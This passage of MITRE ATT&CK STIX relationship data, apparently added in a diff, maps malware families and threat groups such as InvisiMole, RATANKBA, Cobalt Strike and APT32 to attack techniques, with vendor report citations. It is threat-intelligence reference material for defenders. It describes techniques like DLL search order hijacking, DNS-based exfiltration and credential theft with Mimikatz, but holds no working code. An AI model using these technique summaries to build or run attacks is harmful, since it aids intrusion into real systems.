Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "source_name": "Rancor Unit42 June 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "description": "[RATANKBA](https://attack.mitre.org/software/S0241) uses tasklist /svc to display running tasks.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--43886571-4415-484f-931b-3b30b9aefaa7", + "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", + "modified": "2019-05-03T16:54:33.243Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "RATANKBA", + "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[More_eggs](https://attack.mitre.org/software/S0284) uses HTTPS for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--19e0594c-c5b4-45c8-926e-ae884164d294", + "source_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4", + "modified": "2019-09-16T19:41:10.226Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + }, + { + "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.", + "source_name": "Security Intelligence More Eggs Aug 2019", + "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) lists local users and session information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--524261f3-8b87-4c99-b99b-1e78032f072c", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "source_name": "ESET InvisiMole June 2018", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) checks for anti-malware products and processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--df4b0683-e6a7-4da4-9544-c6eded007412", + "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "source_name": "McAfee Gold Dragon", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[yty](https://attack.mitre.org/software/S0248) gets an output of running processes using the tasklist command.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--5caffa87-adbb-45e8-ba6b-dc61188471a7", + "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14", + "modified": "2019-04-25T00:09:23.236Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ASERT Donot March 2018", + "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.", + "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can upload files to the victim's machine for operations.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b7760f6b-9b57-4fa8-895a-4f4a209aa366", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "source_name": "ESET InvisiMole June 2018", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can start a VNC-based remote desktop server and tunnel the connection through the already established C2 channel.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3cb99d8e-8a3d-47ed-b4b7-e217cea48013", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "modified": "2019-06-06T19:04:39.504Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "[Remsec](https://attack.mitre.org/software/S0125) can add or remove applications or ports on the Windows firewall or disable it entirely.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--8baf3f0d-0ab4-4691-8ef7-8b9af8a8069c", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[POWERSOURCE](https://attack.mitre.org/software/S0145) queries Registry keys in preparation for setting Run keys to achieve persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--9c79076c-341f-4eb3-bed7-300723747b18", + "source_ref": "malware--17e919aa-4a49-445c-b103-dbb8df9e7351", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Brumaghin, E. and Grady, C.. (2017, March 2). Covert Channels and Poor Decisions: The Tale of DNSMessenger. Retrieved March 8, 2017.", + "source_name": "Cisco DNSMessenger March 2017", + "url": "http://blog.talosintelligence.com/2017/03/dnsmessenger.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[Misdat](https://attack.mitre.org/software/S0083) network traffic communicates over common ports like 80, 443, or 1433.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--81b183bc-de6a-457c-a3f3-a1168e8456f1", + "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "description": "[GeminiDuke](https://attack.mitre.org/software/S0049) collects information on programs and services on the victim that are configured to automatically run at startup.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ae9befd5-d8b7-4492-9b47-422a40d610cc", + "source_ref": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "source_name": "F-Secure The Dukes", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[Misdat](https://attack.mitre.org/software/S0083) saves itself as a file named msdtc.exe, which is also the name of the legitimate Microsoft Distributed Transaction Coordinator service.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--01ab8fee-5204-40c1-ac7a-b11a5683a87d", + "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + }, + { + "description": "Microsoft. (2011, January 12). Distributed Transaction Coordinator. Retrieved February 25, 2016.", + "source_name": "Microsoft DTC", + "url": "https://technet.microsoft.com/en-us/library/cc759136(v=ws.10).aspx" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[FruitFly](https://attack.mitre.org/software/S0277) executes and stores obfuscated Perl scripts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--a7590c10-ba0a-453d-b086-1b3427e20462", + "source_ref": "malware--4a98e44a-bd52-461e-af1e-a4457de87a36", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "source_name": "objsee mac malware 2017", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[PowerDuke](https://attack.mitre.org/software/S0139) runs cmd.exe /c and sends the output to its C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--e465e173-04d8-4a2b-8953-a2fa3b44aec0", + "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", + "modified": "2019-04-22T22:31:38.467Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "source_name": "Volexity PowerDuke November 2016", + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can be launched by using DLL search order hijacking in which the wrapper DLL is placed in the same folder as explorer.exe and loaded during startup into the Windows Explorer process instead of the legitimate library.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--dc0cf30b-ec44-4b5a-8c45-f93e48974a05", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "source_name": "ESET InvisiMole June 2018", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[RTM](https://attack.mitre.org/software/S0148) can delete all Registry entries created during its execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--94b4de9a-1f83-4923-8d4b-e9bafdb1bef9", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "source_name": "ESET RTM Feb 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[RATANKBA](https://attack.mitre.org/software/S0241) uses HTTP/HTTPS for command and control communication.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--56b6c694-6d04-4799-9a34-b4c66f25b30e", + "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", + "modified": "2019-05-03T16:54:33.263Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.", + "source_name": "Lazarus RATANKBA", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/" + }, + { + "source_name": "RATANKBA", + "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "description": "Some [Volgmer](https://attack.mitre.org/software/S0180) variants use port 8088 for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--11de35bf-195d-4097-a27a-d2e2b7c433b3", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "modified": "2019-10-15T22:51:03.069Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.", + "source_name": "US-CERT Volgmer Nov 2017", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B" + }, + { + "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.", + "source_name": "US-CERT Volgmer 2 Nov 2017", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF" + }, + { + "description": "Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.", + "source_name": "Symantec Volgmer Aug 2014", + "url": "https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.026Z", + "id": "relationship--b35a5218-e64d-49b5-a37d-6390edddece6", + "source_ref": "course-of-action--388606d3-f38f-45bf-885d-a9dc9df3c8a8", + "modified": "2019-07-24T19:10:48.404Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[StreamEx](https://attack.mitre.org/software/S0142) obfuscates some commands by using statically programmed fragments of strings when starting a DLL. It also uses a one-byte xor against 0x91 to encode configuration data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ee51d531-5cc4-4836-a55c-6062bde1a4d4", + "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV\u2019s Radar. Retrieved February 15, 2017.", + "source_name": "Cylance Shell Crew Feb 2017", + "url": "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[SeaDuke](https://attack.mitre.org/software/S0053) uses a module to execute Mimikatz with PowerShell to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1097).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--837af41c-0553-4d1d-a38e-e43e2aad5c35", + "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2015, July 13). \u201cForkmeiamfamous\u201d: Seaduke, latest weapon in the Duke armory. Retrieved July 22, 2015.", + "source_name": "Symantec Seaduke 2015", + "url": "http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--fbd727ea-c0dc-42a9-8448-9e12962d1ab5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--9ffda909-3503-47d8-9403-849a66eb9245", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "modified": "2019-09-09T19:21:42.604Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Check Point Software Technologies. (2015). ROCKET KITTEN: A CAMPAIGN WITH 9 LIVES. Retrieved March 16, 2018.", + "source_name": "Check Point Rocket Kitten", + "url": "https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f9600732-9116-4325-8073-28d81721b37a", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.920Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Dipsind](https://attack.mitre.org/software/S0200) can spawn remote shells.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--6ac167a2-e2b4-4b66-96a1-521468d5784c", + "source_ref": "malware--e170995d-4f61-4f17-b60e-04f9a06ee517", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "source_name": "Microsoft PLATINUM April 2016", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[PowerDuke](https://attack.mitre.org/software/S0139) has a command to write random data across a file and delete it.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--789cf81d-bfc9-4c1a-a34a-57e41981894a", + "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", + "modified": "2019-04-22T22:31:38.479Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "source_name": "Volexity PowerDuke November 2016", + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Orz](https://attack.mitre.org/software/S0229) can gather the victim OS version and whether it is 64 or 32 bit.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--23d16034-a2eb-40ef-857b-63708e63bf9a", + "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b", + "modified": "2019-09-16T18:01:16.141Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "source_name": "Proofpoint Leviathan Oct 2017", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[RTM](https://attack.mitre.org/software/S0148) can obtain the victim username and permissions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--aad1cfa0-0df0-4768-87c2-5e59da2c5e44", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "source_name": "ESET RTM Feb 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[RogueRobin](https://attack.mitre.org/software/S0270) checks the running processes for evidence it may be running in a sandbox environment. It specifically enumerates processes for Wireshark and Sysinternals.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--c29136ea-6925-4fc5-a281-b5351cef050d", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "modified": "2019-04-24T23:55:43.451Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "source_name": "Unit 42 DarkHydrus July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "description": "[APT32](https://attack.mitre.org/groups/G0050) uses [Cobalt Strike](https://attack.mitre.org/software/S0154)'s malleable C2 functionality to blend in with network traffic. The group's backdoor can also exfiltrate data by encoding it in the subdomain field of DNS packets. Additionally, one of the group's macOS backdoors implements a specific format for the C2 packet involving random values.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--4477e350-645d-40de-8de7-7a6e1680c2e0", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.440Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + }, + { + "description": "Mudge, R. (2014, July 14). Github Malleable-C2-Profiles safebrowsing.profile. Retrieved June 18, 2017.", + "source_name": "GitHub Malleable C2", + "url": "https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/normal/safebrowsing.profile" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 